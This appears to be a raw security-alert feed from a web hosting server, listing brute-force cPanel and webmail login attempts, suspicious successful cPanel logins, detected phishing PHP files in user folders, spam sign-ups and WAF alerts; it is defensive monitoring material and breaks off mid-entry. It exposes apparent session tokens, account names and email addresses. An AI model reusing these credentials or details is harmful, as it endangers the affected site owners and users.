[2026-06-08 11:48:14 +0000] info [cpaneld] 87.67.123.112 - mesysc "GET /login/?login_only=1&user=mesysc&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesysc (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 91.236.247.137
country_id: 2017370
description:
[2026-06-08 11:48:17 +0000] info [cpaneld] 91.236.247.137 - mesys "GET /login/?login_only=1&user=mesys&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesys (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 223.181.105.242
country_id: 1269750
description:
[2026-06-08 11:48:00 +0000] info [cpaneld] 223.181.105.242 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 38.248.176.180
country_id: 3625428
description:
[2026-06-08 11:48:04 +0000] info [cpaneld] 38.248.176.180 - mesyscom "GET /login/?login_only=1&user=mesyscom&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesyscom (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 91.74.20.141
country_id: 290557
description:
[2026-06-08 11:48:24 +0000] info [cpaneld] 91.74.20.141 - mesy "GET /login/?login_only=1&user=mesy&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesy (has_cpuser_file failed)


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:Your Exclusive Prize Is Waiting vamvozmviigr.blogspot.de 9d||Email:ivymarrei26@gmail.com||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11001
name: Deferred login on the cpanel service
abuser: 160.242.195.10
country_id: 2363686
description:
[2026-06-08 11:51:05 +0000] info [webmaild] 160.242.195.10 - kabou@caissederetraites.tg "GET / HTTP/1.1" DEFERRED LOGIN webmaild: security token missing


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 104.197.69.115
country_id: 6252001
description:
104.197.69.115 - - [08/Jun/2026:11:54:20 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13147290&pdata=https%253A%252F%252Fcfpj.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780919659 HTTP/2.0" 302 0 cfpj.tg "https://cfpj.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:104.197.69.115


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 34.72.176.129
country_id: 6252001
description:
34.72.176.129 - - [08/Jun/2026:11:54:21 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6527940&pdata=https%253A%252F%252Fcfpj.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780919659 HTTP/2.0" 302 0 cfpj.tg "https://cfpj.tg/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:34.72.176.129


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 205.169.39.18
country_id: 6252001
description:
205.169.39.18 - - [08/Jun/2026:11:54:21 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=13267299&pdata=https%253A%252F%252Fcfpj.tg&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780919660 HTTP/2.0" 302 0 cfpj.tg "https://cfpj.tg/" "Mozilla/5.0 (iPhone; CPU iPhone OS 10_3_1 like Mac OS X) AppleWebKit/603.1.30 (KHTML, like Gecko) Version/10.0 Mobile/14E304 Safari/602.1" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:205.169.39.18


plugin: modsec
rule: 77350396
name: IM360 WAF: Request indicates a Headless browser
abuser: 205.169.39.26
country_id: 6252001
domain: cfpj.tg
description:
IM360 WAF: Request indicates a Headless browser||MV:Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/127.0.6533.119 Safari/537.36||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.170.108.172
country_id: 2363686
description:
2026-06-08 11:54:11 dovecot_login authenticator failed for H=(DESKTOPK4M6AIH) [196.170.108.172]:63087: 535 Incorrect authentication data (set_id=contact@perfect-labo.com)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 64.44.59.71
country_id: 6252001
description:
[2026-06-08 11:56:19 +0000] info [cpaneld] 64.44.59.71 NEW wwayrzpl:Y0c2DMYJcTNlpGVK address=64.44.59.71,app=cpaneld,creator=wwayrzpl,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.231.64.159
country_id: 3017382
description:
[2026-06-08 11:56:41 +0000] info [cpaneld] 5.231.64.159 NEW hnefmnqz:lM6KMnoF9D9yEo1s address=5.231.64.159,app=cpaneld,creator=hnefmnqz,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.154
country_id: 2635167
description:
[2026-06-08 11:56:22 +0000] info [cpaneld] 5.230.133.154 NEW wgqhqbem:F6GGjrIjnbWKvlOk address=5.230.133.154,app=cpaneld,creator=wgqhqbem,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.153.227
country_id: 2635167
domain: horizonmedical.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/rdlizssu/public_html/.627112844255838.php||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.117
country_id: 2635167
description:
[2026-06-08 11:56:39 +0000] info [cpaneld] 5.230.133.117 NEW rbnbkmre:849HKADlv1HVqX99 address=5.230.133.117,app=cpaneld,creator=rbnbkmre,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.23
country_id: 2635167
description:
[2026-06-08 11:56:27 +0000] info [cpaneld] 5.230.153.23 NEW newistm:Y4OZ3zEURXdmOcAQ address=5.230.153.23,app=cpaneld,creator=newistm,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.94
country_id: 2635167
description:
[2026-06-08 11:56:35 +0000] info [cpaneld] 5.230.153.94 NEW wcnyaruu:iN61wkh8ogIXV27l address=5.230.153.94,app=cpaneld,creator=wcnyaruu,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.162
country_id: 1880251
description:
47.128.96.162 - - [08/Jun/2026:11:56:13 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10197192&pdata=https%253A%252F%252Ftdn.tg%252Ftogblekope-conseiller-president-du-conseil-interpelle%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780919772 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/togblekope-conseiller-president-du-conseil-interpelle/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.162


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 64.44.62.229
country_id: 6252001
description:
[2026-06-08 11:56:23 +0000] info [cpaneld] 64.44.62.229 NEW sotragonet:G8rfJadZwKaxTTX4 address=64.44.62.229,app=cpaneld,creator=sotragonet,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.215
country_id: 2635167
description:
[2026-06-08 11:56:32 +0000] info [cpaneld] 5.230.133.215 NEW lhqeyybr:N5MIJQiqKxmuEq1D address=5.230.133.215,app=cpaneld,creator=lhqeyybr,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.20
country_id: 2635167
description:
[2026-06-08 11:56:43 +0000] info [cpaneld] 5.230.133.20 NEW cinemafreenetmas:AXGPklaSRgOlbwHV address=5.230.133.20,app=cpaneld,creator=cinemafreenetmas,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 107.175.5.35
country_id: 6252001
description:
[2026-06-08 11:56:25 +0000] info [cpaneld] 107.175.5.35 NEW qfaclpeg:LzLHMlSLol6aLSTX address=107.175.5.35,app=cpaneld,creator=qfaclpeg,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.231.64.90
country_id: 3017382
description:
[2026-06-08 11:56:27 +0000] info [cpaneld] 5.231.64.90 NEW zauwogvk:oz3Lehe2UT5GJdAF address=5.231.64.90,app=cpaneld,creator=zauwogvk,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.153.180
country_id: 2635167
domain: scafricaplc.com
description:
IM360 WAF: Possible phishing page detected||SC:/home/zauwogvk/public_html/.288057852452829.php||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 64.44.59.166
country_id: 6252001
description:
[2026-06-08 11:56:18 +0000] info [cpaneld] 64.44.59.166 NEW wwayrzpl:WSp4vvjcOFhQx3w6 address=64.44.59.166,app=cpaneld,creator=wwayrzpl,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 196.170.108.172
country_id: 2363686
description:
2026-06-08 11:56:01 dovecot_login authenticator failed for H=(DESKTOPK4M6AIH) [196.170.108.172]:49414: 535 Incorrect authentication data (set_id=contact@perfect-labo.com)


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.153.242
country_id: 2635167
domain: lvdt.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/lhqeyybr/public_html/.781610103913717.php||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.146
country_id: 2635167
description:
[2026-06-08 11:56:29 +0000] info [cpaneld] 5.230.133.146 NEW nerohostfreenetm:hcyrPBExqpQThyFH address=5.230.133.146,app=cpaneld,creator=nerohostfreenetm,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.231.255.78
country_id: 3017382
domain: nerohost.free.netmaster.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/nerohostfreenetm/public_html/.917725559779722.php||RSV:8.15||T:APACHE||


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.167
country_id: 1880251
description:
47.128.96.167 - - [08/Jun/2026:11:57:09 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=6778982&pdata=https%253A%252F%252Ftdn.tg%252Ftogo-pieces-etablissement-carte-nationale-identite%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780919828 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/togo-pieces-etablissement-carte-nationale-identite/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.167


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 2.79.5.164
country_id: 1522867
description:
2026-06-08 11:57:14 H=([2.79.5.164]) [2.79.5.164]:63327 F=<John@4452.com> rejected RCPT <contacts@ucao-uut.tg>: Sender verify failed


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.181.101.160
country_id: 3865483
description:
Jun  8 11:57:26 ns5 auth[671076]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.181.101.160 has been locked due to Imunify RBL


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.128
country_id: 1880251
description:
47.128.96.128 - - [08/Jun/2026:11:58:54 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=12873619&pdata=https%253A%252F%252Ftdn.tg%252Ftogblekope-conseiller-president-du-conseil-interpelle%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780919932 HTTP/2.0" 302 0 tdn.tg "https://tdn.tg/togblekope-conseiller-president-du-conseil-interpelle/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.128


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.170.108.172
country_id: 2363686
description:
[2026-06-08 12:01:29 +0000] info [webmaild] 196.170.108.172 - contact@perfect-labo.com "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 111.55.79.181
country_id: 1814991
description:
2026-06-08 12:01:32 H=([0.0.0.0]) [111.55.79.181]:39335 F=<John@4452.com> rejected RCPT <contact@dany2.mairie.tg>: Sender verify failed


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.241
country_id: 130758
description:
2026-06-08 12:02:37 dovecot_login authenticator failed for H=(localhost) [62.60.130.241]:64930: 535 Incorrect authentication data (set_id=test1)


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 221.211.250.120
country_id: 1814991
description:
2026-06-08 12:03:11 H=([221.211.250.120]) [221.211.250.120]:64020 F=<John@4452.com> rejected RCPT <kpip@emt.tg>: Sender verify failed


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.170.108.172
country_id: 2363686
description:
[2026-06-08 12:04:22 +0000] info [webmaild] 196.170.108.172 - contact@perfect-labo.com "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.128.96.156
country_id: 1880251
description:
47.128.96.156 - - [08/Jun/2026:12:05:09 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=10185923&pdata=https%253A%252F%252Fcfpj.tg%252Fmy-account%252F&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780920308 HTTP/2.0" 302 0 cfpj.tg "https://cfpj.tg/my-account/" "Mozilla/5.0 (Linux; Android 5.0) AppleWebKit/537.36 (KHTML, like Gecko) Mobile Safari/537.36 (compatible; TikTokSpider; ttspider-feedback@tiktok.com)" WL:"0" "-" XFF:"-" CAPTCHA:"0" PEER:47.128.96.156


plugin: modsec
rule: 77217210
name: IM360 WAF: Invalid HTTP Request Line
abuser: 188.50.62.99
country_id: 102358
domain: www.djama.tg
description:
IM360 WAF: Invalid HTTP Request Line||MVN:REQUEST_LINE||MV:GET http:/www.djama.tg/purchase/conditions HTTP/1.1||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 107.175.5.84
country_id: 6252001
description:
[2026-06-08 12:06:35 +0000] info [cpaneld] 107.175.5.84 NEW ohuuvcqw:VcG6jHPhiZB3bF4i address=107.175.5.84,app=cpaneld,creator=ohuuvcqw,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.170.108.172
country_id: 2363686
description:
[2026-06-08 12:06:14 +0000] info [webmaild] 196.170.108.172 - contact@perfect-labo.com "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.153.156
country_id: 2635167
domain: digilix.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/ohuuvcqw/public_html/.691076693517081.php||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 221.211.250.120
country_id: 1814991
description:
2026-06-08 12:06:02 H=([221.211.250.120]) [221.211.250.120]:64789 F=<John@4452.com> rejected RCPT <kpip@emt.tg>: Sender verify failed


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.217
country_id: 2635167
description:
[2026-06-08 12:06:26 +0000] info [cpaneld] 5.230.133.217 NEW vuvwskxh:5FSnEK8IUJ28k_sC address=5.230.133.217,app=cpaneld,creator=vuvwskxh,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 134.195.82.54
country_id: 6252001
description:
[2026-06-08 12:06:32 +0000] info [cpaneld] 134.195.82.54 NEW njdbfcnn:Nb6KMfq_cOiikVbl address=134.195.82.54,app=cpaneld,creator=njdbfcnn,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 196.170.108.172
country_id: 2363686
description:
[2026-06-08 12:08:42 +0000] info [webmaild] 196.170.108.172 - contact@perfect-labo.com "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 31130
name: Anti-bot protection. User passed successfully
abuser: 47.77.220.146
country_id: 6252001
description:
47.77.220.146 - - [08/Jun/2026:12:09:59 +0000] "GET /z0f76a1d14fd21a8fb5fd0d03e0fdc3d3cedae52f?wsidchk=9727173&pdata=https%253A%252F%252Fwww.crrhuemoa.org&id=7fa3b767c460b54a2be4d49030b349c7&ts=1780920593 HTTP/2.0" 302 0 www.crrhuemoa.org "https://www.crrhuemoa.org/" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36" WL:"0" "-" XFF:"47.77.220.146" CAPTCHA:"0" PEER:104.22.17.130


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.97
country_id: 2287781
description:
2026-06-08 12:10:45 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.97]:9984: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 6013
name: Imunify PAM. The IP has been locked by RBL
abuser: 190.89.136.168
country_id: 3469034
description:
Jun  8 12:11:29 ns5 auth[671076]: pam_imunify(dovecot_imunify:auth): [IM360_RBL] The IP 190.89.136.168 has been locked due to Imunify RBL


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.153.185
country_id: 2635167
domain: festics.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/njdbfcnn/public_html/.530516746803754.php||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 87.192.238.30
country_id: 1512440
description:
2026-06-08 12:11:55 H=([188.113.248.206]) [87.192.238.30]:2935 F=<John@4452.com> rejected RCPT <visite@cloud-et-racks.tg>: Sender verify failed


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.97
country_id: 2287781
description:
2026-06-08 12:12:00 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.97]:20096: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: modsec
rule: 77316905
name: IM360 WAF: Block IP which is in the web-spammers RBL
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Block IP which is in the web-spammers RBL||Rules:r77142125r77142137||MV:12-13.146.19.125.71||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 209.50.179.209
country_id: 3469034
description:
[2026-06-08 12:13:45 +0000] info [cpaneld] 209.50.179.209 - admin "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 62.60.130.241
country_id: 130758
description:
2026-06-08 12:12:59 dovecot_login authenticator failed for H=(localhost) [62.60.130.241]:52946: 535 Incorrect authentication data (set_id=mailroom)


plugin: modsec
rule: 77433250
name: IM360 WAF: Track WordPress user self-registration
abuser: 146.19.125.71
country_id: 2750405
domain: cloud-et-racks.tg
description:
IM360 WAF: Track WordPress user self-registration||NewUser:Apply Your Cash Right Now vamvozmviigr.blogspot.nl t9||Email:popatdate77@gmail.com||RSV:8.15||T:APACHE||


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 87.192.238.30
country_id: 1512440
description:
2026-06-08 12:14:25 H=([188.113.248.206]) [87.192.238.30]:12136 F=<John@4452.com> rejected RCPT <visite@cloud-et-racks.tg>: Sender verify failed


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 51.83.5.75
country_id: 3017382
description:
[2026-06-08 12:14:30 +0000] info [cpaneld] 51.83.5.75 - kwbcfbmo "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user kwbcfbmo (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.97
country_id: 2287781
description:
2026-06-08 12:14:03 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.97]:7937: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.133.16
country_id: 2635167
description:
[2026-06-08 12:14:47 +0000] info [cpaneld] 5.230.133.16 NEW rbnbkmre:UhzDLZzV9_A9HGVF address=5.230.133.16,app=cpaneld,creator=rbnbkmre,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.175.229.179
country_id: 2921044
description:
[2026-06-08 12:15:55 +0000] info [cpaneld] 5.175.229.179 NEW njdbfcnn:FjuRe7Xb_axUO4_U address=5.175.229.179,app=cpaneld,creator=njdbfcnn,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 134.195.82.55
country_id: 6252001
description:
[2026-06-08 12:15:57 +0000] info [cpaneld] 134.195.82.55 NEW njdbfcnn:fWQA8VAnRjCt1ln_ address=134.195.82.55,app=cpaneld,creator=njdbfcnn,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 5.230.153.185
country_id: 2635167
domain: festics.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/njdbfcnn/public_html/.024476470920471.php||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 134.195.83.31
country_id: 6252001
description:
[2026-06-08 12:16:03 +0000] info [cpaneld] 134.195.83.31 NEW vuvwskxh:5yfE4mwtyh4OiBIV address=134.195.83.31,app=cpaneld,creator=vuvwskxh,method=handle_form_login,path=form,possessed=0


plugin: modsec
rule: 77609300
name: IM360 WAF: Possible phishing page detected
abuser: 107.175.5.177
country_id: 6252001
domain: festics.tg
description:
IM360 WAF: Possible phishing page detected||SC:/home/njdbfcnn/public_html/.336933973810165.php||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11006
name: cPanel login success
abuser: 5.230.153.34
country_id: 2635167
description:
[2026-06-08 12:15:55 +0000] info [cpaneld] 5.230.153.34 NEW njdbfcnn:TFlp4USWhTGFUgAj address=5.230.153.34,app=cpaneld,creator=njdbfcnn,method=handle_form_login,path=form,possessed=0


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.97
country_id: 2287781
description:
2026-06-08 12:16:13 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.97]:7939: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.97
country_id: 2287781
description:
2026-06-08 12:17:12 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.97]:7940: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.97
country_id: 2287781
description:
2026-06-08 12:18:12 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.97]:10757: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 203.145.35.18
country_id: 1643084
description:
[2026-06-08 12:19:04 +0000] info [cpaneld] 203.145.35.18 - whmcsadmin "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user whmcsadmin (has_cpuser_file failed)


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.97
country_id: 2287781
description:
2026-06-08 12:19:13 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.97]:10758: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 160.242.195.10
country_id: 2363686
description:
[2026-06-08 12:19:26 +0000] info [webmaild] 160.242.195.10 - kfandonougbo@caissederetraites.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 13008
name: Mail Recipient rejected
abuser: 164.40.6.159
country_id: 1522867
description:
2026-06-08 12:20:38 H=([164.40.6.159]) [164.40.6.159]:61344 F=<John@4452.com> rejected RCPT <contact@cloud-et-racks.tg>: Sender verify failed


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 81.111.180.202
country_id: 2635167
description:
[2026-06-08 12:20:02 +0000] info [cpaneld] 81.111.180.202 - mesyscom "GET /login/?login_only=1&user=mesyscom&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesyscom (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 77.137.72.6
country_id: 294640
description:
[2026-06-08 12:19:58 +0000] info [cpaneld] 77.137.72.6 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 38.253.114.227
country_id: 3932488
description:
[2026-06-08 12:20:15 +0000] info [cpaneld] 38.253.114.227 - mesysc "GET /login/?login_only=1&user=mesysc&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mesysc (has_cpuser_file failed)


plugin: modsec
rule: 77391379
name: IM360 WAF: Possible XSS in arguments
abuser: 196.168.152.90
country_id: 2363686
domain: direct7.tg
description:
IM360 WAF: Possible XSS in arguments||MV:https://direct7.tg/wp-content/plugins/onesignal-free-web-push-notifications/sdk_files/onesignalsdkworker.js?appid=8efd3276-8d5b-4b62-bbd3-6ed125ca9f51&sdkversion=160402||RSV:8.15||T:APACHE||


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 42.113.163.70
country_id: 1562822
description:
[2026-06-08 12:20:30 +0000] info [cpaneld] 42.113.163.70 - mes "GET /login/?login_only=1&user=mes&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user mes (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 1.54.177.244
country_id: 1562822
description:
[2026-06-08 12:20:34 +0000] info [cpaneld] 1.54.177.244 - me "GET /login/?login_only=1&user=me&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user me (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 185.75.226.37
country_id: 99237
description:
[2026-06-08 12:19:53 +0000] info [cpaneld] 185.75.226.37 - global "GET /login/?login_only=1&user=global&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user global (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 160.242.195.10
country_id: 2363686
description:
[2026-06-08 12:20:18 +0000] info [webmaild] 160.242.195.10 - kfandonougbo@caissederetraites.tg "POST /login/?login_only=1 HTTP/1.1" FAILED LOGIN webmaild: user password incorrect


plugin: ossec
rule: 13001
name: Exim Auth failed
abuser: 102.209.216.97
country_id: 2287781
description:
2026-06-08 12:20:13 dovecot_login authenticator failed for H=(ELISABETH) [102.209.216.97]:10759: 535 Incorrect authentication data (set_id=j.delbegue@tps.tg)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 182.53.49.206
country_id: 1605651
description:
[2026-06-08 12:21:48 +0000] info [cpaneld] 182.53.49.206 - admin "GET /login/?login_only=1&user=admin&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user admin (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 41.142.113.189
country_id: 2542007
description:
[2026-06-08 12:21:50 +0000] info [cpaneld] 41.142.113.189 - crrhuemoa "GET /login/?login_only=1&user=crrhuemoa&pass=__HIDDEN__&goto_uri=%2F HTTP/1.1" FAILED LOGIN cpaneld: invalid cpanel user crrhuemoa (has_cpuser_file failed)


plugin: ossec
rule: 11000
name: Login failed on the cpanel service.
abuser: 45.174.167.72
